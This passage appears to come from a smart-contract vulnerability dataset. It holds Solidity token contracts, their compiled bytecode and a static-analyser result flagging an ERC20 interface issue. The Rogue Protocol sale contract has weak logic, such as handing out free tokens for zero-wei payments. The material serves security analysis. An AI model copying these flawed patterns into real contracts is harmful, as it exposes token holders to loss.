emit Transfer(from, address(0), amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private notOnBlacklist(from) notOnBlacklist(to) notPaused {
require(to != address(0), "Use burn instead");
require(from != address(0), "What a Terrible Failure");
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
}
// rav3n_pl was here
|
0x608060405234801561001057600080fd5b50600436106102955760003560e01c806379ba5097116101675780639fcf1007116100ce578063d50f49d311610087578063d50f49d31461067a578063d5abeb011461068d578063dd62ed3e1461069b578063e3a0a148146106ae578063eb91e651146106c1578063fe575a87146106d457610295565b80639fcf1007146105f8578063a9059cbb1461060b578063aa271e1a1461061e578063ba7b52e014610641578063d4ee1d9014610654578063d505accf1461066757610295565b80638456cb59116101205780638456cb59146105825780638da5cb5b1461058a578063944f78311461059d57806395d89b41146105b0578063983b2d56146105d25780639cfe42da146105e557610295565b806379ba50971461050e57806379cc6790146105165780637bb06eea146105295780637ecebe001461053c578063800c03841461055c57806382dc1ec41461056f57610295565b8063313ce5671161020b57806346fbf68e116101c457806346fbf68e1461047e5780634ca64b3a146104a157806354fd4d50146104b45780635c975abb146104d45780636b2c0f55146104e857806370a08231146104fb57610295565b8063313ce567146103e85780633408e470146104025780633644e515146104295780633f4ba83a1461045057806340c10f191461045857806342966c681461046b57610295565b806316d2e6501161025d57806316d2e6501461033757806318160ddd1461035a57806323b872dd1461037057806326976e3f146103835780633092afd5146103ae57806330adf81f146103c157610295565b806306fdde031461029a5780630900f010146102d8578063095ea7b3146102ed5780630e136b1914610300578063153a1f3e14610324575b600080fd5b6102c2604051806040016040528060098152602001682a32b1b930a1b7b4b760b91b81525081565b6040516102cf9190612646565b60405180910390f35b6102eb6102e636600461234c565b6106f7565b005b6102eb6102fb36600461251a565b610784565b60025461031490600160a81b900460ff1681565b60405190151581526020016102cf565b610314610332366004612543565b610816565b61031461034536600461234c565b60076020526000908152604090205460ff1681565b61036261098a565b6040519081526020016102cf565b61031461037e366004612398565b610a34565b600354610396906001600160a01b031681565b6040516001600160a01b0390911681526020016102cf565b6102eb6103bc36600461234c565b610afb565b6103627f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b6103f0600881565b60405160ff90911681526020016102cf565b6103627f000000000000000000000000000000000000000000000000000000000000000181565b6103627f4d803abeb2b7d24aa2a6864e7c7c11ce2d9a7f2a42f0f284c17c2c9fc5f6d62481565b6102eb610b6a565b6102eb61046636600461251a565b610c3f565b6102eb610479366004612616565b610d70565b61031461048c36600461234c565b60096020526000908152604090205460ff1681565b6103146104af3660046125ac565b610dd8565b6102c2604051806040016040528060018152602001603160f81b81525081565b60025461031490600160a01b900460ff1681565b6102eb6104f636600461234c565b610eba565b61036261050936600461234c565b610f29565b6102eb610fe2565b6102eb61052436600461251a565b611050565b6102eb61053736600461234c565b611173565b61036261054a36600461234c565b600a6020526000908152604090205481565b6102eb61056a36600461234c565b6111e5565b6102eb61057d36600461234c565b6112bf565b6102eb611331565b600154610396906001600160a01b031681565b6103146105ab3660046124c2565b6113e7565b6102c2604051806040016040528060038152602001622a21a960e91b81525081565b6102eb6105e036600461234c565b6114bf565b6102eb6105f336600461234c565b611531565b6102eb61060636600461234c565b6115d0565b61031461061936600461251a565b61163f565b61031461062c36600461234c565b60086020526000908152604090205460ff1681565b61031461064f366004612444565b611757565b600254610396906001600160a01b031681565b6102eb6106753660046123d3565b611837565b6102eb61068836600461234c565b611a63565b610362664a9b638448800081565b6103626106a9366004612366565b611c2f565b6102eb6106bc36600461234c565b611cf5565b6102eb6106cf36600461234c565b611d65565b6103146106e236600461234c565b60066020526000908152604090205460ff1681565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b0316331461074d5760405162461bcd60e51b81526004016107449190612646565b60405180910390fd5b506002805460ff60a81b1916600160a81b179055600380546001600160a01b039092166001600160a01b0319909216919091179055565b600254600160a81b900460ff16156108075760035460405163aee92d3360e01b81523360048201526001600160a01b038481166024830152604482018490529091169063aee92d3390606401600060405180830381600087803b1580156107ea57600080fd5b505af11580156107fe573d6000803e3d6000fd5b50505050610812565b610812338383611e01565b5050565b604080518082019091526015815274446966666572656e742061727261792073697a657360581b60208201526000908483146108655760405162461bcd60e51b81526004016107449190612646565b5060005b8481101561097e5783838281811061089157634e487b7160e01b600052603260045260246000fd5b9050602002013560056000336001600160a01b03166001600160a01b031681526020019081526020016000205410156040518060400160405280600f81526020016e42616c616e636520746f6f206c6f7760881b815250906109065760405162461bcd60e51b81526004016107449190612646565b5061096c3387878481811061092b57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610940919061234c565b86868581811061096057634e487b7160e01b600052603260045260246000fd5b90506020020135611f05565b8061097681612741565b915050610869565b50600195945050505050565b600254600090600160a81b900460ff1615610a2c57600360009054906101000a90046001600160a01b03166001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109ed57600080fd5b505afa158015610a01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a25919061262e565b9050610a31565b506000545b90565b600254600090600160a81b900460ff1615610ae457600354604051638b477adb60e01b81523360048201526001600160a01b03868116602483015285811660448301526064820185905290911690638b477adb90608401602060405180830381600087803b158015610aa557600080fd5b505af1158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add91906125f6565b9050610af4565b610af0338585856120e5565b5060015b9392505050565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b03163314610b485760405162461bcd60e51b81526004016107449190612646565b506001600160a01b03166000908152600860205260409020805460ff19169055565b3360009081526009602052604090205460ff16610bb85760405162461bcd60e51b815260206004820152600c60248201526b2737ba1030902830bab9b2b960a11b6044820152606401610744565b600254600160a01b900460ff16610c075760405162461bcd60e51b815260206004820152601360248201527210dbdb9d1c9858dd081b9bdd081c185d5cd959606a1b6044820152606401610744565b6002805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b3360009081526008602052604090205460ff16610c8d5760405162461bcd60e51b815260206004820152600c60248201526b2737ba10309026b4b73a32b960a11b6044820152606401610744565b6001600160a01b03821660009081526005602052604081208054839290610cb59084906126f3565b9250508190555080600080828254610ccd91906126f3565b9091555050600054664a9b638448800011610d2a5760405162461bcd60e51b815260206004820152601a60248201527f596f752063616e206e6f74206d696e652074686174206d7563680000000000006044820152606401610744565b6040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020015b60405180910390a35050565b33600090815260056020908152604091829020548251808401909352600f83526e42616c616e636520746f6f206c6f7760881b91830191909152821115610dca5760405162461bcd60e51b81526004016107449190612646565b50610dd5338261223f565b50565b6000610de4838361270b565b60056000336001600160a01b03166001600160a01b031681526020019081526020016000205410156040518060400160405280600f81526020016e42616c616e636520746f6f206c6f7760881b81525090610e525760405162461bcd60e51b81526004016107449190612646565b5060005b83811015610eaf57610e9d33868684818110610e8257634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610e97919061234c565b85611f05565b80610ea781612741565b915050610e56565b506001949350505050565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b03163314610f075760405162461bcd60e51b81526004016107449190612646565b506001600160a01b03166000908152600960205260409020805460ff19169055565b600254600090600160a81b900460ff1615610fc2576003546040516370a0823160e01b81526001600160a01b038481166004830152909116906370a082319060240160206040518083038186803b158015610f8357600080fd5b505afa158015610f97573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbb919061262e565b9050610fdd565b506001600160a01b0381166000908152600560205260409020545b919050565b60025460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b0316331461102f5760405162461bcd60e51b81526004016107449190612646565b50600280546001600160a01b03199081169091556001805490911633179055565b3360009081526004602090815260408083206001600160a01b03861684528252918290205482518084019093526011835270416c6c6f77616e636520746f6f206c6f7760781b918301919091528211156110bd5760405162461bcd60e51b81526004016107449190612646565b508060056000846001600160a01b03166001600160a01b031681526020019081526020016000205410156040518060400160405280600f81526020016e42616c616e636520746f6f206c6f7760881b8152509061112d5760405162461bcd60e51b81526004016107449190612646565b503360008181526004602090815260408083206001600160a01b03871684529091529020546111699190849061116490859061272a565b611e01565b610812828261223f565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b031633146111c05760405162461bcd60e51b81526004016107449190612646565b506001600160a01b03166000908152600760205260409020805460ff19166001179055565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b031633146112325760405162461bcd60e51b81526004016107449190612646565b506001600160a01b03811660009081526006602052604090205460ff1661129b5760405162461bcd60e51b815260206004820152601860248201527f41646472657373206e6f74206f6e20626c61636b6c69737400000000000000006044820152606401610744565b6001600160a01b038116600090815260056020526040902054610dd590829061223f565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b0316331461130c5760405162461bcd60e51b81526004016107449190612646565b506001600160a01b03166000908152600960205260409020805460ff19166001179055565b3360009081526009602052604090205460ff1661137f5760405162461bcd60e51b815260206004820152600c60248201526b2737ba1030902830bab9b2b960a11b6044820152606401610744565b600254600160a01b900460ff16156113a95760405162461bcd60e51b8152600401610744906126c7565b6002805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b60006113f3838361270b565b60056000876001600160a01b03166001600160a01b031681526020019081526020016000205410156040518060400160405280600f81526020016e42616c616e636520746f6f206c6f7760881b815250906114615760405162461bcd60e51b81526004016107449190612646565b5060005b8381101561097e576114ad338787878581811061149257634e487b7160e01b600052603260045260246000fd5b90506020020160208101906114a7919061234c565b866120e5565b806114b781612741565b915050611465565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b0316331461150c5760405162461bcd60e51b81526004016107449190612646565b506001600160a01b03166000908152600860205260409020805460ff19166001179055565b3360009081526007602052604090205460ff166115845760405162461bcd60e51b81526020600482015260116024820152702737ba103090213630b1b5b634b9ba32b960791b6044820152606401610744565b6001600160a01b038116600081815260066020526040808220805460ff19166001179055517ff9b68063b051b82957fa193585681240904fed808db8b30fc5a2d2202c6ed6279190a250565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b0316331461161d5760405162461bcd60e51b81526004016107449190612646565b506001600160a01b03166000908152600760205260409020805460ff19169055565b600254600090600160a81b900460ff16156116e75760035460405163370c4c0560e11b81523360048201526001600160a01b0385811660248301526044820185905290911690636e18980a90606401602060405180830381600087803b1580156116a857600080fd5b505af11580156116bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e091906125f6565b9050611751565b33600090815260056020908152604091829020548251808401909352600f83526e42616c616e636520746f6f206c6f7760881b918301919091528311156117415760405162461bcd60e51b81526004016107449190612646565b5061174d338484611f05565b5060015b92915050565b604080518082019091526015815274446966666572656e742061727261792073697a657360581b60208201526000908483146117a65760405162461bcd60e51b81526004016107449190612646565b5060005b8481101561182a5761181833888888858181106117d757634e487b7160e01b600052603260045260246000fd5b90506020020160208101906117ec919061234c565b87878681811061180c57634e487b7160e01b600052603260045260246000fd5b905060200201356120e5565b8061182281612741565b9150506117aa565b5060019695505050505050565b428410156118795760405162461bcd60e51b815260206004820152600f60248201526e1c195c9b5a5d0e8811561412549151608a1b6044820152606401610744565b6001600160a01b0387166000908152600a6020526040812080547f4d803abeb2b7d24aa2a6864e7c7c11ce2d9a7f2a42f0f284c17c2c9fc5f6d624917f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9918b918b918b91876118e783612741565b909155506040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810187905260e0016040516020818303038152906040528051906020012060405160200161196092919061190160f01b81526002810192909252602282015260420190565b60408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa1580156119cb573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811615801590611a015750886001600160a01b0316816001600160a01b0316145b611a4d5760405162461bcd60e51b815260206004820152601960248201527f7065726d69743a20494e56414c49445f5349474e4154555245000000000000006044820152606401610744565b611a58898989611e01565b505050505050505050565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b03163314611ab05760405162461bcd60e51b81526004016107449190612646565b506001600160a01b038116611afe576001546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611af8573d6000803e3d6000fd5b50610dd5565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b158015611b4057600080fd5b505afa158015611b54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b78919061262e565b9050600081116040518060400160405280600f81526020016e42616c616e636520746f6f206c6f7760881b81525090611bc45760405162461bcd60e51b81526004016107449190612646565b5060015460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb90604401600060405180830381600087803b158015611c1357600080fd5b505af1158015611c27573d6000803e3d6000fd5b505050505050565b600254600090600160a81b900460ff1615611cc957600354604051636eb1769f60e11b81526001600160a01b03858116600483015284811660248301529091169063dd62ed3e9060440160206040518083038186803b158015611c9157600080fd5b505afa158015611ca5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116e0919061262e565b506001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60015460408051808201909152600a81526927b7363c9027bbb732b960b11b6020820152906001600160a01b03163314611d425760405162461bcd60e51b81526004016107449190612646565b50600280546001600160a01b0319166001600160a01b0392909216919091179055565b3360009081526007602052604090205460ff16611db85760405162461bcd60e51b81526020600482015260116024820152702737ba103090213630b1b5b634b9ba32b960791b6044820152606401610744565b6001600160a01b038116600081815260066020526040808220805460ff19169055517f2b6bf71b58b3583add364b3d9060ebf8019650f65f5be35f5464b9cb3e4ba2d49190a250565b6001600160a01b038316600090815260066020526040902054839060ff1615611e3c5760405162461bcd60e51b815260040161074490612699565b6001600160a01b038316600090815260066020526040902054839060ff1615611e775760405162461bcd60e51b815260040161074490612699565b600254600160a01b900460ff1615611ea15760405162461bcd60e51b8152600401610744906126c7565b6001600160a01b0385811660008181526004602090815260408083209489168084529482529182902087905590518681527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a35050505050565b6001600160a01b038316600090815260066020526040902054839060ff1615611f405760405162461bcd60e51b815260040161074490612699565b6001600160a01b038316600090815260066020526040902054839060ff1615611f7b5760405162461bcd60e51b815260040161074490612699565b600254600160a01b900460ff1615611fa55760405162461bcd60e51b8152600401610744906126c7565b6001600160a01b038416611fee5760405162461bcd60e51b815260206004820152601060248201526f155cd948189d5c9b881a5b9cdd19585960821b6044820152606401610744565b6001600160a01b0385166120445760405162461bcd60e51b815260206004820152601760248201527f576861742061205465727269626c65204661696c7572650000000000000000006044820152606401610744565b6001600160a01b0385166000908152600560205260408120805485929061206c90849061272a565b90915550506001600160a01b038416600090815260056020526040812080548592906120999084906126f3565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611ef691815260200190565b6001600160a01b0380841660009081526004602090815260408083209388168352928152908290205482518084019093526011835270416c6c6f77616e636520746f6f206c6f7760781b918301919091528211156121565760405162461bcd60e51b81526004016107449190612646565b508060056000856001600160a01b03166001600160a01b031681526020019081526020016000205410156040518060400160405280600f81526020016e42616c616e636520746f6f206c6f7760881b815250906121c65760405162461bcd60e51b81526004016107449190612646565b506001600160a01b038084166000908152600460209081526040808320938816835292905220546000191461222e576001600160a01b0380841660009081526004602090815260408083209388168352929052205461222e908490869061116490859061272a565b612239838383611f05565b50505050565b600254600160a01b900460ff16156122695760405162461bcd60e51b8152600401610744906126c7565b6001600160a01b0382166000908152600560205260408120805483929061229190849061272a565b92505081905550806000808282546122a9919061272a565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610d64565b80356001600160a01b0381168114610fdd57600080fd5b60008083601f840112612314578182fd5b50813567ffffffffffffffff81111561232b578182fd5b602083019150836020808302850101111561234557600080fd5b9250929050565b60006020828403121561235d578081fd5b610af4826122ec565b60008060408385031215612378578081fd5b612381836122ec565b915061238f602084016122ec565b90509250929050565b6000806000606084860312156123ac578081fd5b6123b5846122ec565b92506123c3602085016122ec565b9150604084013590509250925092565b600080600080600080600060e0888a0312156123ed578283fd5b6123f6886122ec565b9650612404602089016122ec565b95506040880135945060608801359350608088013560ff81168114612427578384fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060008060006060868803121561245b578081fd5b612464866122ec565b9450602086013567ffffffffffffffff80821115612480578283fd5b61248c89838a01612303565b909650945060408801359150808211156124a4578283fd5b506124b188828901612303565b969995985093965092949392505050565b600080600080606085870312156124d7578384fd5b6124e0856122ec565b9350602085013567ffffffffffffffff8111156124fb578384fd5b61250787828801612303565b9598909750949560400135949350505050565b6000806040838503121561252c578182fd5b612535836122ec565b946020939093013593505050565b60008060008060408587031215612558578384fd5b843567ffffffffffffffff8082111561256f578586fd5b61257b88838901612303565b90965094506020870135915080821115612593578384fd5b506125a087828801612303565b95989497509550505050565b6000806000604084860312156125c0578283fd5b833567ffffffffffffffff8111156125d6578384fd5b6125e286828701612303565b909790965060209590950135949350505050565b600060208284031215612607578081fd5b81518015158114610af4578182fd5b600060208284031215612627578081fd5b5035919050565b60006020828403121561263f578081fd5b5051919050565b6000602080835283518082850152825b8181101561267257858101830151858201604001528201612656565b818111156126835783604083870101525b50601f01601f1916929092016040019392505050565b6020808252601490820152731059191c995cdcc81bdb88189b1858dadb1a5cdd60621b604082015260600190565b60208082526012908201527110dbdb9d1c9858dd081a5cc81c185d5cd95960721b604082015260600190565b600082198211156127065761270661275c565b500190565b60008160001904831182151516156127255761272561275c565b500290565b60008282101561273c5761273c61275c565b500390565b60006000198214156127555761275561275c565b5060010190565b634e487b7160e01b600052601160045260246000fdfea2646970667358221220c43ae7a63fd8169f79a352397f807aba50009ac72867eabcdaeeeced082457e064736f6c63430008020033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
| 8,678 |
0x13c8cd1baeeaff9225ba23346e8fd2d72ed7a06e
|
pragma solidity 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 {
uint256 public totalSupply;
bool public transfersEnabled;
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev protection against short address attack
*/
modifier onlyPayloadSize(uint numwords) {
assert(msg.data.length == numwords * 32 + 4);
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public onlyPayloadSize(2) returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(transfersEnabled);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(transfersEnabled);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract RogueProtocol is StandardToken {
string public constant name = "Rogue Protocol";
string public constant symbol = "ROG";
uint8 public constant decimals =18;
uint256 public constant INITIAL_SUPPLY = 42 * 10**7 * (10**uint256(decimals));
uint256 public weiRaised;
uint256 public tokenAllocated;
address public owner;
bool public saleToken = true;
event OwnerChanged(address indexed previousOwner, address indexed newOwner);
event TokenPurchase(address indexed beneficiary, uint256 value, uint256 amount);
event TokenLimitReached(uint256 tokenRaised, uint256 purchasedToken);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
function RogueProtocol(address _owner) public {
totalSupply = INITIAL_SUPPLY;
owner = _owner;
//owner = msg.sender; // for testing
balances[owner] = INITIAL_SUPPLY;
tokenAllocated = 0;
transfersEnabled = true;
}
// fallback function can be used to buy tokens
function() payable public {
buyTokens(msg.sender);
}
function buyTokens(address _investor) public payable returns (uint256){
require(_investor != address(0));
require(saleToken == true);
address wallet = owner;
uint256 weiAmount = msg.value;
uint256 tokens = validPurchaseTokens(weiAmount);
if (tokens == 0) {revert();}
weiRaised = weiRaised.add(weiAmount);
tokenAllocated = tokenAllocated.add(tokens);
mint(_investor, tokens, owner);
emit TokenPurchase(_investor, weiAmount, tokens);
wallet.transfer(weiAmount);
return tokens;
}
function validPurchaseTokens(uint256 _weiAmount) public returns (uint256) {
uint256 addTokens = getTotalAmountOfTokens(_weiAmount);
if (addTokens > balances[owner]) {
emit TokenLimitReached(tokenAllocated, addTokens);
return 0;
}
return addTokens;
}
function getTotalAmountOfTokens(uint256 _weiAmount) internal pure returns (uint256) {
uint256 amountOfTokens = 0;
if(_weiAmount == 0){
amountOfTokens = 50 * (10**uint256(decimals));
}
if( _weiAmount == 0.001 ether){
amountOfTokens = 1 * 10**1 * (10**uint256(decimals));
}
if( _weiAmount == 0.005 ether){
amountOfTokens = 5 * 10**1 * (10**uint256(decimals));
}
if( _weiAmount == 0.01 ether){
amountOfTokens = 1 * 10**2 * (10**uint256(decimals));
}
if( _weiAmount == 0.05 ether){
amountOfTokens = 5 * 10**2 * (10**uint256(decimals));
}
if( _weiAmount == 0.1 ether){
amountOfTokens = 1 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 1 ether){
amountOfTokens = 10 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 2 ether){
amountOfTokens = 20 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 3 ether){
amountOfTokens = 30 * 10**3 * (10**uint256(decimals));
}
if( _weiAmount == 4 ether){
amountOfTokens = 40 * 10**3 * (10**uint256(decimals));
}
return amountOfTokens;
}
function mint(address _to, uint256 _amount, address _owner) internal returns (bool) {
require(_to != address(0));
require(_amount <= balances[_owner]);
balances[_to] = balances[_to].add(_amount);
balances[_owner] = balances[_owner].sub(_amount);
emit Transfer(_owner, _to, _amount);
return true;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) onlyOwner public returns (bool){
require(_newOwner != address(0));
emit OwnerChanged(owner, _newOwner);
owner = _newOwner;
return true;
}
function startSale() public onlyOwner {
saleToken = true;
}
function stopSale() public onlyOwner {
saleToken = false;
}
function enableTransfers(bool _transfersEnabled) onlyOwner public {
transfersEnabled = _transfersEnabled;
}
/**
* Peterson's Law Protection
* Claim tokens
*/
function claimTokens() public onlyOwner {
owner.transfer(address(this).balance);
uint256 balance = balanceOf(this);
transfer(owner, balance);
emit Transfer(this, owner, balance);
}
}
|
0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063095ea7b3146101d857806318160ddd1461023257806323b872dd1461025b5780632ff2e9dc146102d4578063313ce567146102fd5780634042b66f1461032c57806348c54b9d14610355578063661884631461036a57806370a08231146103c457806378f7aeee146104115780638da5cb5b1461043a57806395d89b411461048f578063a6f9dae11461051d578063a9059cbb1461056e578063b66a0e5d146105c8578063bef97c87146105dd578063d73dd6231461060a578063dd62ed3e14610664578063e36b0b37146106d0578063e985e367146106e5578063ec8ac4d814610712578063f41e60c514610754578063fc38ce1914610779575b610147336107b0565b50005b341561015557600080fd5b61015d61095a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019d578082015181840152602081019050610182565b50505050905090810190601f1680156101ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e357600080fd5b610218600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610993565b604051808215151515815260200191505060405180910390f35b341561023d57600080fd5b610245610a85565b6040518082815260200191505060405180910390f35b341561026657600080fd5b6102ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a8b565b604051808215151515815260200191505060405180910390f35b34156102df57600080fd5b6102e7610e7e565b6040518082815260200191505060405180910390f35b341561030857600080fd5b610310610e8f565b604051808260ff1660ff16815260200191505060405180910390f35b341561033757600080fd5b61033f610e94565b6040518082815260200191505060405180910390f35b341561036057600080fd5b610368610e9a565b005b341561037557600080fd5b6103aa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611033565b604051808215151515815260200191505060405180910390f35b34156103cf57600080fd5b6103fb600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c4565b6040518082815260200191505060405180910390f35b341561041c57600080fd5b61042461130d565b6040518082815260200191505060405180910390f35b341561044557600080fd5b61044d611313565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561049a57600080fd5b6104a2611339565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104e25780820151818401526020810190506104c7565b50505050905090810190601f16801561050f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561052857600080fd5b610554600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611372565b604051808215151515815260200191505060405180910390f35b341561057957600080fd5b6105ae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114d2565b604051808215151515815260200191505060405180910390f35b34156105d357600080fd5b6105db61172a565b005b34156105e857600080fd5b6105f06117a3565b604051808215151515815260200191505060405180910390f35b341561061557600080fd5b61064a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506117b6565b604051808215151515815260200191505060405180910390f35b341561066f57600080fd5b6106ba600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119b2565b6040518082815260200191505060405180910390f35b34156106db57600080fd5b6106e3611a51565b005b34156106f057600080fd5b6106f8611aca565b604051808215151515815260200191505060405180910390f35b61073e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107b0565b6040518082815260200191505060405180910390f35b341561075f57600080fd5b61077760048080351515906020019091905050611add565b005b341561078457600080fd5b61079a600